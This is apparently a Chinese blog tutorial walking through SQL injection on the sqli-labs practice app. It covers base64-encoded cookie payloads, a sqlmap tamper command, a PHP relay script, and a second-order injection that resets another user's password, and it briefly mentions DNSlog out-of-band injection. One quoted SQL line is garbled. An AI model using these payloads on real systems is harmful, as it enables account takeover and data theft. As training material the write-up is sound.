SQL注入之二次、加解密、DNS注入

加解密、二次、DNSlog注入

加解密
实例
sqli-labs-master/Less-21/
登录抓包
在这里插入图片描述
抓包结果
在这里插入图片描述
将uname的内容一看就是加密内容,我们进行解密,我们看解密结果
我们将%3D是ascii码的‘=’号,我们将其修改回来
在这里插入图片描述
这时我们需要进行cookie注入时就需要进行加密注入
在这里插入图片描述

uname=YWRtaW4ZIGFuZCAnMScgPScyJyAtLSs=
注入报错了,存在注入
在这里插入图片描述
sqlmap也存在base64的插件

sqlmap.py -u “http://127.0.0.1/sqli-labs-master/Less-21/?id=1” --tamper base64encode.py –dbs

也可以自己写脚本

<?php
$url='http://www.xxxxx.com/?id=';  //此处是要测试的地址
$payload= base64_encode($_GET['x']);
$urls=$url.$payload
$result=file_get_contents($urls);
echo $urls;
?>

我放在服务器使用(自己电脑也行)
这个脚本的作用是将http://www.xxxxx.com/?id=后面加的内容进行base64加密,再进行访问,图中用的是我自己的服务器

python sqlmap.py -u “http://127.0.0.1/test.php” --dbs
请添加图片描述

二次注入
黑盒测试一般是找不到的,必须看源码,审计时才能找到
实例
sqli-labs-master/Less-24/index.php
注册两个账号分别为

账号密码
12341234
1234‘#1234

在这里插入图片描述

这时我们登录1234’#进行修改密码,修改为xxxxxx
在这里插入图片描述
修改后查看数据库,发现账号1234的密码被修改了,而1234’#的没有被修改
在这里插入图片描述
原因在此
sql源码:
sql = "UPDATE users SET PASSWORD=‘ p a s s ′ w h e r e u s e r n a m e = ′ pass' where username=' passwhereusername=username’ and password=‘$curr_pass’ ";
当我们进行修改时就会发现,账户名后面的内容被注释了,从而达到二阶注入的目的

sql=update users set password=‘xxxxxx’ where username=‘1234’#’ and password=‘$curr_pass’

因此我们可以想到在第一个用户名上加上其他信息,例如:1234’ union select 1,version(),3 #
其他内容进行进行

dnslog带外注入
解决了盲注不能回显,效率低的情况
其实用处不大
需要高权限,需要用的文件读取
load_file()
这次没有完成实操
软件:

https://github.com/ADOOO/DnslogSqlinj
http://ceye.io/

  • 3
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值